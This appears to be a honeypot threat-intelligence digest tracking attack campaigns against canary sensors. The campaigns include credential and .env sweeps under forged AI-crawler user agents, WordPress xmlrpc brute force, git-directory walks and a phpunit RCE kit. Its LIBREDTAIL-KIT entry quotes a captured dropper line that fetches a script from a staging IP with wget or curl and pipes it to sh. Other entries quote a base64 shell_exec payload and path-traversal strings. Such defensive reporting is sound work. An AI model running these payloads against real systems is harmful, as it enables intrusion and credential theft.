marker-absent windows — single GCP runner 34.124.231.201 (SG) ran a 21-second code-execution census on canary-farm-1 (374 ev / 223 paths / 74 fams / 36 POSTs, 08:05:03–24 UTC 10-10) under 33 forged AI-crawler UAs (set grew: Kimi, DeepSeek, MistralAI, Qwenbot, Hunyuan, PanguBot, cohere, DuckAssist, Bravebot, ChatGLM, YiBot, xAI-Grok new); NEW code-exec stages (Langflow /api/v1/validate/code @exec subprocess, Flowise customMCP, /lib/terminal-xhr.php command=env, /read-document + /api/designer/v1/file-content env reads, /api/templates/preview ../../..// traversal, /api/fs/exec, php-cgi shell_exec ×7 paths) + the classic /@fs Vite credential traversals; 40-mint batch at /.env = fleet single-IP record; 0 AWS use. Earlier cycles: idle №16–№46, and №33 had 3 @fs marker rows again (136.85.48.119, farm, 2nd window) with a 291-ev credential-family run (firebase/gcp-credentials, graphql, forged AI-crawler UAs, 3 mints) — resumption candidate.
flowchart LR
    SW["GCP template sweep<br/>forged AI-crawler UAs"] --> SSRF["SSRF → IMDS<br/>__aws_leak_probe_*"]
    SSRF --> VITE["Vite /@fs traversal<br/>CVE-2026-39364 ?raw??"]
    VITE --> ENV["/.env · .mcp.json<br/>vite-fs mints"]
    ENV --> HOARD["Credential hoard<br/>zero AWS use"]

OMEGA-SWEEP active

№56: ESCALATION — 79.124.58.82 ran the fleet-class census on ai-devbox-1 (450 ev / 450 paths / 106 families in 1 min, 09:52 EDT, forged Googlebot/2.1, 1 mint — 5/6d); pool walker 94.154.43.99 touched all 8 sensors (18 ev, bare Mozilla/5.0 + empty UA). №55: RETURNED — registered operator 79.124.58.82 (Tamatiya EOOD BG) ran the 150-path pass on sponge-01-ts (150 GETs / 150 paths / 5 families in ~1 min, 22:30 EDT); the /46 block missed a 15th window. №54: FULLY ABSENT — 79.124.58.82's fourth pass did not come (3 passes/26 h then silent; standing-crew read unconfirmed) and the /46 block missed a 14th window. №53: THIRD PASS — 79.124.58.82 hit control-1 again 11:00:55–56 EDT 10-15 (450 ev / 450 paths / 106 fams, forged Googlebot/2.1, /jenkins/.env + /strapi/.env 200s, 1 mint; 4/6d) — a second control pass the same day after 02:22 EDT. Standing-crew read, not a one-pass visitor. №52: TEMPLATE ESCAPED THE /46 BLOCK AGAIN — 79.124.58.82 (Tamatiya EOOD BG, forged Googlebot/2.1) ran the census fleet-class on ai-devbox-1 (466 ev / 403 paths / 104 families in 11 s, 18:50 EDT) + control-1 (450 / 450 / 106 families in 9 s, 02:22 EDT 10-15), 3 mints (2 aidev + 1 control at /.env); /46 block absent a 12th window. №52 kills: ssh-private-key-error 22 aidev + 27 control, wp-config, fake-git, terraform-tfvars families. №45: FIFTH consecutive miss — no /46 census; pool singles 94.154.43.84 (aidev) + .164 (farm) minted 1 each 09:48 EDT under forged Chrome/147 — the same single-mint pattern as №42–№43. №43: THIRD consecutive miss — no /46 census; a NEW pool-singles pair 94.154.43.125 (farm) + .146 (aidev) minted 1 each under Chrome/147, and .100's bare-UA `/` passes repeated on 7 nodes (71 ev). №42: SECOND consecutive miss — pool singles 94.154.43.129/.164 minted 1 each again (04:16 UTC, forged Chrome/147). №41: first miss after .250's second run. Block spans .242–.250; no observed AWS use.
flowchart LR
    OP["/46 pool · forged Googlebot/2.1<br/>.242–.250 + pool singles"] --> SWEEP[".250: 743-path census<br/>118 families in 12 s"]
    SWEEP --> MINT["/.env mints ×5<br/>ru-edge"]
    MINT --> HOARD["Standing hoard<br/>zero AWS use"]

REGISTRY-HUNT active

№69: THIRD MINT WINDOW — walkers filled the kill-chain rows fleet-wide again and minted 7 under wrapped l9scan UAs 20:55–21:28 stored (64.225.75.246 control; 209.97.180.8, 159.89.12.166, 143.110.217.244, 207.154.212.47 farm; 139.59.143.102 aidev); 0 AWS use this window — mint-and-hold shape returns. №67: FIRST USE — 34–35 DigitalOcean walkers ran the walk on all 8 sensors and used 8 minted creds from 5 use IPs; 64.225.75.246 + 157.230.19.140 ran a 14-op SES/Bedrock enumeration; 206.81.24.74 and 68.183.9.16 2 creds each; 206.189.19.19 + 46.101.111.185 GetCallerIdentity-only. №66: WAVE RETURNED — 4 DigitalOcean walkers re-ran the 27-family walk on farm (157.230.19.140, 206.81.24.74, 64.225.75.246, 164.92.107.174; 206.81.24.74 also aidev) + 11 l9scan-UA mints 20:58–21:50 stored across 4 sensors; 45.138.12.51 minted under honest l9explore/1.2.2. №65: LOW VOLUME — no runner wave; 165.22.34.189 full 12-step walk on farm; l9scan-UA mints 138.68.144.227 (farm), 159.89.174.87 (control), 146.190.242.161 (aidev), 45.138.12.51 under honest l9explore/1.2.2. №64: 15 DigitalOcean runners re-ran the full 27-family walk (46.101.1.225 on 3 sensors; 143.110.217.244, 167.99.182.39, 159.89.12.166, 164.90.208.56 on 2); evening mint wave 20:38–22:00 UTC — 13 runner IPs 1 mint each + control legs 206.189.233.36, 206.81.24.74, 134.209.25.199, 146.190.242.161; wordlist refreshed (/.env.save.*, /mgmt/tm/util/bash, /django_settings.py). №63: fleet-wide wave again — 11 DigitalOcean runners ran the full 27-family walk across farm/aidev/ru-edge and reached lauterbourg for the first time (46.101.1.225, 207.154.212.47, 209.38.208.202 each on 2 sensors); 13 of the window's 50 mints went to l9scan runners 20:55-21:45 UTC across 4 UA variants. №60: FLEET-WIDE again — the digest split one walk into three per-node signatures (c540fc530a5a farm 10 IPs / 390 ev; NEW 07424de5d81a ru-edge 8 IPs / 312 ev; NEW 2de0cfe65017 control 7 IPs / 273 ev — the №59 per-node-result-tag quirk: one campaign, not three); kill-chain carries 10+ DigitalOcean runners (167.172.232.142, 165.227.84.14, 206.189.19.19, 159.89.127.165, 64.227.32.66, 64.227.70.2, 209.38.208.202, 206.81.24.74…); one mint per runner (167.172.232.142 + 206.189.19.19 farm, 206.81.24.74 aidev, 209.38.208.202 control). №58: 15 mints to 14 l9scan runners — one-mint-per-runner shape intact (206.189.233.36 ×2 control+ru-edge; 46.101.1.225, 167.99.210.137, 206.81.24.74, 138.68.86.32, 138.68.82.23, 142.93.129.190, 157.245.105.107, 157.245.113.227, 164.92.244.132, 167.71.81.114, 167.99.182.39, 68.183.9.16 new-to-mint; 45.138.12.51 l9explore 1); cluster 850993125b15 6 IPs / 246 ev on farm. №57: HOARD OPERATORS RETURNED IN-WINDOW — the №56 outside-flux AWS users ran the 25-family l9scan journey again on 4 sensors (138.68.82.23 + 157.230.19.140 + 164.90.228.79 + 157.245.36.108 + 206.189.19.19 + 139.59.132.8 + 68.183.9.16 + 146.190.242.161 + 206.189.225.181 + 209.38.208.202); 157.230.19.140 minted 1 on aidev 20:25 (l9scan/2.0.632323 UA). New runner 138.68.86.32 (l9scan/2.0.930323) 78 ev / 25 fams on 2 sensors. Farm cluster c540fc530a5a 6 IPs / 234 ev. №56: CONTRACTED — farm cluster 850993125b15 5 IPs / 205 ev; aidev sibling b07c7bb207b4 4 IPs / 164 ev; tarpit-only 4b4cc0ece037 16 IPs / 112 ev; l9explore 45.138.12.51 264 ev on 3 sensors + 2 mints (8/6d). №55's runners' canaries kept drawing AWS calls past the window close (outside-flux rows in the canary section). №55: CANARIES VALIDATED — 168.222.244.156 ran the 23-op AWS inventory sweep (Boto3/1.43.114, ~289 events/credential) against 7 runners' mints (138.68.82.23, 147.182.200.94, 157.230.19.140 ×2 sensors, 159.223.132.86, 164.90.228.79, 167.71.175.236, 64.23.218.208); ~18 issued rows to 16 l9scan IPs in the 20:23–20:42 EDT wave (64.23.218.208 ×3, 157.230.19.140 ×2, the rest ×1); farm cluster 850993125b15 6 IPs / 246 ev. №54: farm cluster 850993125b15 14 IPs / 693 ev + aidev sibling b07c7bb207b4 7 IPs / 328 ev; 16 runners minted 25 issued rows (209.38.208.202 ×3, 209.38.248.17 / 64.23.218.208 / 143.110.213.72 ×2 each, twelve at 1); docker-registry stage ran below spike threshold. №53: docker-registry enum stage drove the fleet's 3.0–3.2× manifest/tags spikes (control + ru-edge 45/45, frantech + sponge 25/25); farm cluster c540fc530a5a 8 IPs / 312 ev; ~10 DigitalOcean runners minted ~12 canaries (165.22.34.189 2, 46.101.111.185 2, eight 1 each). №52: 19-IP wave, 1,052 ev, ALL 8 sensors; 14 runners minted 1 each (1 per IP — 159.223.132.86, 206.189.19.19, 138.68.86.32, 165.22.34.189, 134.122.28.88, 64.23.218.208, 164.92.107.174, 157.245.105.107, 167.99.210.137, 139.59.231.238, 128.199.182.152, 128.199.182.55, 167.172.232.142, 45.138.12.51); NEW l9explore/1.2.2 operator 193.32.204.199 (195 fake-git farm + 49+49 not-handled netcup/frantech). №50: ALL-8 WAVE — l9scan runners on every sensor: canary-farm-1 167.71.81.114 (123 ev, 3 mints), 64.227.70.2, 138.68.144.227, 167.172.232.142; ai-devbox-1 167.172.158.128, 167.99.182.39, 157.245.105.107, 159.89.12.166 (41 ev, 1 mint each); control-1 165.227.84.14 + 139.59.231.238; ru-edge-1 46.101.111.185 + 147.182.200.94; single-pass legs 39 ev on frantech-ts (206.189.95.232), sponge-01-ts (167.71.175.236), netcup-ts (134.122.28.88); kiteworks-vhost legs 206.81.12.187, 165.22.235.3, 167.99.182.39 (40 ev each, lauterbourg). l9explore 45.138.12.51: 87 ev / 1 mint on ai-devbox-1 (6/6d). ~14 mint rows from the class. №49: wave held at reduced spread — 12 l9scan runner IPs minted 13 canaries across farm/aidev/control/ru-edge in the 19:57–20:35 EDT evening wave (digest cluster 850993125b15 6 IPs / 246 ev farm-only; the 27-family docker-registry journey on 4 sensors in the kill-chain table). l9explore 45.138.12.51 WIDENED to 5 sensors (440 ev) with 3 mints (control 09:02, farm 00:38, aidev 02:50 EDT). №48: CONTRACTED wave — ~11 runner IPs on farm/aidev/control/ru-edge (the 27-family docker-registry journey; digest cluster 850993125b15 6 IPs / 246 ev farm-only); 11 mints 1/IP; FIRST USE SINCE №45 — two runners self-validated in AWS (209.97.180.8, 128.199.182.55, sts:GetCallerIdentity ✓); l9explore 45.138.12.51 down to a 1-ev lauterbourg touch. №47: ~49 l9scan IPs on ALL 8 sensors; NEW signature b3c6048a4870 (lauterbourg) carries a DEEPER Jira traversal (5 `..::` levels vs 2; 11 ev / 10 IPs, one node only) and rode the kiteworks vhost (428 ev, 8 runners); 22 of the window's 33 canary collectors were l9scan runners (evening wave 23:46–03:12 UTC); LeakIX toolset widened — 45.138.12.51 (Tc Datacenter LT) ran l9explore/1.2.2 (87 ev) + l9tcpid/v1.1.0 on frantech+sponge. №46: RECORD WAVE — 37 l9scan IPs / 116 weblogic+confluence events across ALL 8 SENSORS (per-sensor presence farm 11, ru-edge 9, control 8, netcup 6, sponge 6, lauterbourg 6, frantech 4, aidev 4); 22 IPs minted 31 canaries (crossnode minters 157.245.204.205 ru+control, 167.99.210.137 farm+ru, 146.190.103.103 aidev+control); 0 observed AWS use at window close. NEW STAGE: 52 IPs ran a Jira archive-traversal probe (/download/resources/jira.webresources:color-picker-popup/images/..::..::META-INF::maven::com.atlassian.jira::atlassian-jira-webapp::pom.properties, 64 events) between Confluence and WHM — the journey change behind №46's two new signatures (fe0b8d49a878 ru-edge, 24e7b3a70bf9 control; farm's 850993125b15 unchanged); 8 UA variants. №45: 17 l9scan IPs / 811 events (flat vs №44's 18/847) in the 19:54–21:06 EDT wave across farm, aidev, control, ru-edge, lauterbourg (Kiteworks vhost), sponge; 12 IPs minted 1 each (13 mint rows; 206.189.95.232 hit farm+ru-edge) + l9explore 45.138.12.51 87 ev / 1 mint (5/6d). NO self-use this window — the wave's 13 canaries sat unused at window close (№44's two self-using runners did NOT repeat: mint≠use again). №44: 18 l9scan IPs / 847 events across ALL 8 SENSORS (first all-8 wave), 14 mints at 1/IP; NEW: two operators self-used their canaries in AWS (see CREDENTIAL-DRAIN). №43: 18 l9scan IPs / 769 events / 14 mints (1/IP) across 6 sensors in one 19:53–20:43 EDT wave, all DigitalOcean; UA variants 2.0.930323 / 2.0.234313 / 2.0.6343 / 2.0.632323. l9explore 45.138.12.51: 87 ev on netcup, 0 mints (4/6d). LeakIX l9scan template. №42: contracted to 17 l9scan/l9explore IPs / 1,219 events after №41's 31-IP record; mints 1/IP across control, aidev, farm, ru-edge + lauterbourg (27-family kill-chains; 165.227.173.41 hit 2 nodes); zero burst rejections. 45.138.12.51 (Tc Datacenter LT) mints under l9explore/1.2.2 with a 20-family env census — exploit-grade sibling. LEAKIX-SSH absent this window. Honest UA; borderline per registry.
flowchart LR
    L9["LeakIX l9scan<br/>17 IPs №42"] --> W1["WebLogic console"]
    W1 --> W2["Confluence · WHM/cPanel"]
    W2 --> DR["Docker registry enum<br/>/v2/internal/..."]
    DR --> GR["/graphql introspection"]
    GR --> MINT["Mints 1/IP ×23<br/>one runner used in AWS"]

CREDSWEEP active

№69: EIGHTH WINDOW — 45.138.12.51 (l9explore/1.2.2) 63 ev / 3 sensors + aidev /.env mint 04:24 stored; .35 farm-only 385 ev; 194.180.49.41 37 ev / 5 sensors + control mint 23:24 (Go-http-client/1.1); .16 and .6 absent. 2 mints, 0 use. №67: SIXTH WINDOW — 45.138.12.16 all-8 walk (417 ev) with /.env mints farm 02:59:35 + ru-edge 04:57:24 stored (0 use); .35 768 ev aidev+control (owns control fake-git-miss 264); .51 netcup+sponge, .6 aidev+farm; kmonbase holder 176.65.144.71 farm 188 ev/70 fams; 194.180.49.41 62 ev/5 sensors. №65: WORDLIST CIRCULATING — NEW operator 194.180.49.41 (MEVSPACE sp. z o.o. BG) ran the full directory-fanout walk on aidev/ru-edge/control (514 ev / 511 paths each, Chrome/126, ~20-min staggered legs, 1 mint); 45.138.12.16 (Tc Datacenter LT) walked all 8 sensors (803 ev, mints). №64: TechTies 93.152.221.96 turned the shared wordlist into a full kit run (48,329 ev, 714 mints) — promoted to its own row TECHTIES-KIT; SI-CENSUS 102.220.163.241 rode along on all 8 sensors (13 ev, 3 mints). №63: census class re-armed by two fresh operators on the shared directory-fanout wordlist — 102.220.163.241 (SI-CENSUS /24, 2 nodes, 5 mints) + 93.152.221.96 (TechTies, 7 sensors, 8 mints, 12/6d hoard); 13 mints between them. №54: .155's SECOND window — canary-farm-1 only (514 ev, 22:57-00:46 EDT), 1 mint at /.env 22:57:50 EDT (4 all-time); Feo Prest .154 3-node day: netcup 171 ev in 4 s (18:18 EDT) + sponge 171 ev in 11 s (23:42 EDT, byte-identical 167 paths) + control 46 ev with 2 mints, under three antique forgeries (Safari/7.1.8 macOS 10.9, Android/4.1.2, Chrome/11-XP); NEW stripped-UA operator 191.217.250.172 (Samuel Dierich US): aidev 178 ev in 5 min, /.env mints ×2 bookending the walk, /@fs/.env + /@fs/.env.local probes (METADATA-HUNT marker fragment); .175 minted 4 on control (10/6d). №53: NEW operator block 102.220.163.155 (VPS Dedicated LLC SI — same org as SI-CENSUS's 102.220.161.x) ran the directory-fanout template byte-identically on ai-devbox-1 + canary-farm-1 + control-1 (514 ev / 511 paths / 34 fams each, Chrome/126.0.0.0, pscan-<8hex>-nonexistent.txt marker) and minted at /.env on every node — 3 canaries. Techoff 93.123.109.226 second window: control-1 514 ev error-census, 2 mints at /.env. 45.148.10.238 control-1 757 ev / 370 paths / 26 fams / 5 POSTs. Feo Prest 213.209.159.154 minted 2 on farm (4/6d). №52: 45.148.10.238 netcup FIRST — 836 ev / 373 paths / 13 POSTs in 5 min (21:14 EDT), 16-UA modern rotation incl. the `Mozlila/5.0` typo forgery; SAME-ASN Techoff operator 93.123.109.226 (BG) ran sponge in the same window (514 ev / 510 paths / 1 min: webshell-probe 84 + the config-backup first-seen census); 45.148.10.5 1 mint control; 45.148.10.171 20th consecutive minting window (9 mints / 4 sensors, 50/6d). №43: .171 ELEVENTH consecutive mint window — 4 mints across farm/aidev×2/control (24/6d) from only 10 events on 7 sensors. The 45.154.138.x cluster returned for a SECOND mint window with 9 mints — promoted to its own row (CONFIGBUNDLE-SWARM). Feo .154 absent; .92.65 minted 4. №42: 45.148.10.171 TENTH consecutive minting window — 6 mints across 4 sensors, 0 rejections (20/6d). NEW /24 collector cluster 45.154.138.x on control: 3 IPs (.72/.88/.51), 1 mint each, Firefox/105 + Chrome/39 + Chrome/106 forgeries. Feo .175 minted 2 + used 1; .154 minted 2 (72/6d). SS-Net .92.65 minted 7 across 3 sensors (17/6d). №41: ninth window.
flowchart LR
    OP["Feo Prest /24 ·<br/>VPS Dedicated SI · 45.148.10.171"] --> ENV[".env-variant +<br/>credential census"]
    ENV --> FORGE["Antique-UA + Mozlila<br/>typo forgeries"]
    FORGE --> MINT["Mints every window<br/>.175 hoard 135/6d"]

XMLRPC-BRUTE active

№69: RETURN after two idle windows — 45.94.31.16 (1337 Services GmbH NL) 1,000 multicall POSTs on ai-devbox-1 20:15–20:22 stored (forged Chrome/78) + wlwmanifest + wp-user-enum legs; the registered 1,000-POST batch shape. №67: RECORD FLOOD, NEW OPERATOR — 136.80.17.156 (Google LLC US, forged Chrome/89.0.4389.114) 10,000 multicall POSTs on farm 11:28–11:52 stored (~5/s, largest single-IP run); ru-edge wp-login legs 163.172.46.59 27+27, 108.174.147.120 24+24, 103.47.145.13/.17 8+8/6+6; №65/66 operators idle. №66: STAGED LEGS — 8.137.104.136's xmlrpc count froze at №65's 14,438; the same IP opened a /wp-login.php form-brute leg (6,706 POSTs, Chrome/78, through 12:55 stored); Chrome/88 twin 180.93.254.108 (VN) ran 255+255 xmlrpc+wp-login on farm+sponge; the 34.67.167.4 top-talker rows are №65's overlap re-show (no new POSTs). №65: FLEET RETURN, TWO operators — 8.137.104.136 (Hangzhou Alibaba CN) farm 14,438 system.multicall POSTs 05:50–07:34+ stored (14,712 distinct bodies, forged Chrome/78, still running at digest close); 34.67.167.4 (Google LLC US) aidev 9,807 POSTs in 36 min (04:47–05:23 stored), 7,861 distinct bodies + forged Chrome/89 — the exact body count and UA of №63's 136.70.193.85; bodies are wp.getUsersBlogs multicalls. №64: IDLE — the 9,807-POST burst in this digest's top-talkers is №63's 136.70.193.85 event re-shown by the window-overlap quirk; no new POSTs. №63: EIGHTH operator — 136.70.193.85 (Google LLC US) lauterbourg 9,807 system.multicall POSTs in 17 min (05:42-05:59 UTC), 7,861 DISTINCT bodies 480-1,496 B — first MULTI-ACCOUNT dictionary of the campaign (usernames rotate, sample leslyg; Arabic-script passwords), forged Chrome/89; owns the wp-xmlrpc-post 22.3x spike. №62's 194.26.192.113 (1337 Services) STAYED for a second window: 2,000 POSTs low-and-slow over 12.4 h, fixed admin, 479-497 B. №62: SEVENTH operator — 194.26.192.113 (1337 Services GmbH NL, the ANDROXGH0ST-KIT lead's ASN) on lauterbourg-01-ts: wp-wlwmanifest + wp-user-enum-rest-list preflight, then 1,000 system.multicall POSTs to /xmlrpc.php in 15 s (400 B bodies wrapping wp.getUsersBlogs, fixed admi… username, forged Chrome/78) — the №35 batch shape at ~6× the pace. №54: second silent window — 6 background wp-xmlrpc events fleet-wide. №53: silent again — 0 wp-xmlrpc events after №52's single-window return. №52: RETURNED — 85.204.70.116 (Hydra Communications Ltd GB, AS25369, forged Chrome/78) on lauterbourg 01:16 EDT 10-15: wlwmanifest.xml + wp-json users preflight, then 60 system.multicall POSTs to /xmlrpc.php in 1.5 s (484 B bodies, 200s). Sixth operator. №37: 185.19.40.202 (1337 Services GmbH NL) returned on lauterbourg with 1,000 system.multicall POSTs in 89 s, fixed admin username, one password per body, forged Chrome/78. №36: 134.209.110.125 (DigitalOcean SG; minted 4 canaries №35) ran two legs on lauterbourg: 3,050 system.multicall POSTs plus 3,049 wp-login form POSTs with site-aware passwords. №28: fifth operator 119.40.84.186 (BDCOM BD) burst→sustained with 18,063 xmlrpc + 18,063 wp-login POSTs over 6.5 h on netcup.
flowchart LR
    OP["Operator rotates<br/>(1337 Svcs · GCP · Google BE · BDCOM BD)"] --> PRE["Preflight wlwmanifest<br/>+ wp/v2/users"]
    PRE --> FLOOD["system.multicall flood<br/>1,600–18,063 POSTs"]
    FLOOD --> WPL["wp-login phase<br/>one distinct password per POST"]

MALWARE-DICT active

№54: day 26+ — 2,017 ev / 569 paths (74% of control-1, ipsum:2). №53: Pfcloud loop continues on control-1 (2,066 ev / 578 paths, 38% of the node, ipsum:2). №52: Pfcloud loop day 24+ on control (1,944 ev / 579 paths, 58% of the node); sibling .219 touched all 8 sensors (24 ev). №43: 30th loop window — 2,198 ev / 571 paths on control (204.76.203.18); /24 siblings .237 and .219 ran 8-node light touches (72 / 16 ev) under the same Edg/90 UA as 91.92.40.236. №41 = 28th window: 2,248 ev on control (578 paths — volume recovered from №40's 872) plus a 6-ev ru-edge touch. №26 resume shape: 2,059 ev control + 2,060 ru-edge in 27 h, byte-identical, 569 paths.
flowchart LR
    FEED["URLhaus-style<br/>dropper-URL feed"] --> REPLAY["Dictionary replay<br/>569-path loop"]
    REPLAY --> SIB["204.76.203.31 sibling<br/>4-node light census"]

GIT-VAULT active

№60: NEW TOOLING — gitdump/1.0 UA (honest, self-labeled): 195.178.110.68 (Techoff Srv BG block; /24 of the standing .137/.132 walkers) ran a 28-path git-internals walk with real object-hash fetches on ai-devbox-1 13:03 UTC and canary-farm-1 15:06 UTC (29 ev each, 8 fake-git object hits on farm), 0 mints. №54: NEW 3xK-class operator — 104.167.19.205 (3xK Tech GmbH US) canary-farm-1 06:34:29–32 EDT: 144 ev / 142 paths in 3 s, honest git/2.40.0, 143 fake-git + 1 gitignore, 0 mints — the exact №40–№42/№52 shape under a fourth block IP; the registered trio absent. №53: absent — no 144-ev git/2.40.0 walk this window; the MEVSPACE merge trigger (third sibling IP) stays open. №52: PAIR RETURNED under fresh sibling IPs — 104.207.37.126 (canary-farm-1, 14:11 EDT) + 65.111.4.237 (ai-devbox-1, 15:45 EDT), byte-identical 144 ev / 142 paths each in ~6–10 s, honest git/2.40.0 — the same shape as №40–№42's 3xK Tech GmbH pair/trio; light git/2.40.0 singles 45.3.48.30 + 45.3.37.79 (1 ev each). №49: IDLE — Interserver 209.159.155.142 and the DO trio absent; the 12/6d hoard stands unused. №48: FOURTH OPERATOR CLASS — the №23 watch single 209.159.155.142 (Interserver US) returned at scale: both EU nodes (farm 1,400 + aidev 1,365), 396 paths / 44 families each, 5-stage UA rotation (git/2.39.0, bare Mozilla/5.0, Firefox/109, `node`, NEW git/2.47.3), full hooks enumeration (fake-git-miss 1,310) + env/sql-dump/backup censuses, 12 mints (6/node) — the campaign's largest mint haul; first window since №23. №47: REACTIVATED — THIRD OPERATOR CLASS: synchronized DigitalOcean trio 178.128.169.110 + 144.126.227.243 (aidev 08:21/19:19 UTC) + 104.248.163.59 (control 01:55 UTC 10-10): identical 144-ev/142-path/1-min walks (143 fake-git + 1 gitignore), stale Firefox/78, 0 mints; owns aidev fake-git 3.1× + control 3.2×; watch object-hash fetches (GIT-VAULT №13 merge shape). Prior: №43: FIRST MISS after three consecutive windows (3xK trio absent). Separate: 102.220.161.102 (CREDSWEEP block, VPS Dedicated SI) ran a 144-path fake-git walk on aidev — a new operator for the template; watch for a repeat. Git-internals walk + secrets files. №42: THIRD consecutive window — NEW third IP 216.26.239.111 (3xK Tech, cc BR) ran the identical 144-ev / 142-path walk on canary-farm-1 (14:48 UTC), 0 mints. №41: the .149/.141 pair repeated the same walk 1 h apart. Honest git UA is the family fingerprint (git/2.39.0 → git/2.40.0).
flowchart LR
    W["git/2.40.0 walk<br/>.git/HEAD · index · ORIG_HEAD"] --> HOOKS["hooks/*.sample<br/>full enumeration"]
    HOOKS --> REFS["packed-refs · COMMIT_EDITMSG ·<br/>FETCH_HEAD"]
    REFS --- PAIR["3xK Tech IPs ×3 across<br/>3 windows · 0 mints"]

LIBREDTAIL-KIT active

№59: honest-UA arm ESCALATED — standing daily runner 103.46.186.148 (56 ev/day since 09-16) doubled to 98 ev / 44 paths across 2 nodes and gained a NEW partner 45.137.194.154 (98 ev / 44 paths, first ever); forge-UA cluster 7e61a9500d8b widened to 15 IPs / 735 ev / 7 sensors. №58: honest-UA arm went DISTRIBUTED — four libredtail-http runners, all on ai-devbox-1 (169.58.137.184 10:57, 168.222.180.62 14:06, 190.171.189.85 17:22, 144.91.124.251 19:48 UTC-4; 46–49 ev each incl. 37 phpunit-eval-stdin, owning the node's 3.7× spike); forge-UA cluster 7e61a9500d8b continues 11 IPs / 539 ev / 6 sensors; dropper body uncaptured a 10th cycle. №57: phpunit arm at near-record spread — ~14 IPs at a uniform 37 ev each across 7 sensors (incl. lauterbourg-01-ts's first appearance, 92.5.155.195), cluster 7e61a9500d8b 13 IPs / 637 ev; honest-UA background runner 103.160.205.37 (libredtail-http) added docker-daemon-containers-list to its chain. №56: WIDEST RCE ARM ON RECORD — cluster 7e61a9500d8b 12 IPs / 532 ev on 6 sensors (control 1, netcup 4, ru-edge 3, frantech 1, farm 2, sponge 1), 5 key-exfil POSTs per IP, byte-identical base64 shell_exec body, 0 mints; dropper stage again unobserved. №54: cluster absent — no 7e61a9500d8b legs; first miss after two contracted windows. №53: cluster 7e61a9500d8b contracted — 6 IPs / 294 ev / 5 sensors (from №52's 13 / 637 / 6); no dropper capture this window. №52: 186.182.105.49 ran the 49-ev chain on ru-edge; the /bin/sh + php-cgi cmd-injection cluster 7e61a9500d8b ran fleet-wide (13 IPs / 637 ev, 6 sensors, first seen 08-29). №51: NINTH window, DROPPER CAPTURED — 84.46.241.102, two runs (lauterbourg 21:59 EDT + farm 02:55, 49 ev each, honest UA libredtail-http): phpunit md5('Hello PHPUnit') probes across 20+ directory permutations → shell_exec(base64_decode(cd /tmp || /var/tmp || /dev/shm…)) → POST /bin/sh dropper (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk …) | sh — THIRD staging host in 217.60.0.0/16 after 217.60.195.113 and 217.60.103.56. 0 mints. №50: EIGHTH window — six runs, all on ai-devbox-1 (37 ev each): 103.183.69.112 08:40, 107.150.123.48 14:39, 104.234.186.154 20:11, 107.173.53.218 22:27, 124.158.13.141 23:38 (also frantech), 103.79.184.145 02:18 10-13; three runs added cmd-injection-php-cgi-rce ×5; honest libredtail-http; 0 mints; dropper POST still unobserved. Owns aidev's phpunit-eval-stdin 4.4× spike (226). phpunit directory-permutation RCE, honest UA libredtail-http. №49: RETURN after three idle windows (№46–№48) — 3 fresh IPs (223.123.65.54, 202.155.18.56, 37.60.225.222) ran ~98 ev / 44 paths each across 2 nodes per IP (frantech+lauterbourg, lauterbourg+control, frantech+ru-edge): phpunit-eval-stdin → cmd-injection-php-cgi-rce → docker-daemon-containers-list under honest libredtail-http, plus kiteworks-root-redirect on the lauterbourg legs; dropper stage unobserved (no bodies captured). 0 mints. №40 (21st window): 4 full-kit IPs × 37 ev on lauterbourg (167.71.233.141, 102.244.97.185 repeat, 89.126.214.24, 118.145.104.37) — the phpunit-eval-stdin 4.8× spike on that node; the php-cgi delivery cluster 7e61a9500d8b ran 7 IPs / 343 events fleet-wide (farm/frantech/netcup/sponge). №36 (18th window): 16 full-kit IPs × 37 ev across 7 sensors; staging host 217.60.103.56 in bodies; repeat 102.244.97.185. №35 (17th window): 9 full-kit IPs at 37 ev each + 7-ev php-cgi delivery leg (same IPs, /bin/sh + cmd-injection-php-cgi-rce paths) across ai-devbox-1/netcup/sponge; dropper 12/12 → 217.60.103.56 arg apache. №33 (15th window): 18 full-kit IPs across ALL 8 sensors.
flowchart LR
    P["md5(Hello PHPUnit)<br/>eval-stdin.php probe"] --> RCE["POST /index.php<br/>shell_exec(base64) →<br/>ed25519 key exfil"]
    RCE --> DROP["POST /bin/sh dropper<br/>217.60.103.56/sh"]
    DROP --> SH["curl | sh -s apache"]

INFOCREST-KIT active

№55: RETURNED — 37.19.200.138 (Datacamp Limited US) ran the kit on 3 nodes (farm 106, lauterbourg 180, aidev 115 ev): POST /adminer.php ×3 with prod_rw + ZbtXxWNnjb15U0CjE1zYTw, wp-batch empty + nested-multiplex bodies, kiteworks-root-redirect POSTs + kiteworks-login-attempt 401, webshell-sweep HEADs, phpmyadmin GETs; 2 mints (farm Chrome/107, aidev Firefox/105); python-requests/2.32.5 + Firefox/105 + Chrome/106 UAs. №53: 103.214.20.135 absent. A kit-shaped composite census ran under watch single 155.117.232.31 (phpmyadmin-login + phpunit-eval-stdin + env fanout, 4 sensors, 4 tracebit-http-error) but its stale Firefox/77 + Chrome/91 UA set does not match the kit's modern rotation — not attributed. №52: 103.214.20.135 RETURNED on 4 sensors (533 ev: aidev phpmyadmin-login 10 + sponge config-backup 5); 173.249.253.116 absent; no mints this window. №51: EIGHTH operator + .116's second window, fleet-wide — 173.249.253.116 ran SIX sensors (647 ev, 07:20–08:21 EDT) and NEW 103.214.20.135 (Host Universal Pty AU) ran FIVE (971 ev, 01:12–05:48, 7 mints); identical 16-UA rotation (Chrome 105–107 / Firefox 105–106 / Safari 16 + python-requests/2.32.5); adminer prod_rw POSTs (OQn1pAvGlHfGzKFLtLBqRw) + user=root&pass=wrong form login re-captured. №50: SEVENTH operator — 173.249.253.116 (tzulo US) ran the composite kit on 3 nodes (lauterbourg, aidev, farm; 765 ev, 30 POSTs, 23:05–00:04 EDT): tarpit cycling → phpmyadmin-login ×60 → adminer prod_rw POSTs with rotating 22-char passwords (y6BURr5uveZT_CgBSbVP7w, t60rl7Ls-JPLsVBDfD1S3Q) → webapp-config-bundle ×120 → wp-batch multiplex + tomcat-path-bypass-env ×30 + a form-login stage (user=root&pass=wrong ×6 — NightAgent overlap) + kiteworks legs; 6 mints (aidev 3, farm 3); no phpunit verify or dropper body captured. Composite kit, operator + password rotate per run. №23: fifth operator 41.249.4.249 (first residential). №24: absent.
flowchart LR
    T["Tarpit cycling"] --> PMA["phpMyAdmin enum"]
    PMA --> ADM["Adminer POSTs<br/>prod_rw + 22-char pw"]
    ADM --> CFG["Config-bundle enum"]
    CFG --> WP["wp-batch multiplex"]

AKAMAI-CONFIG active

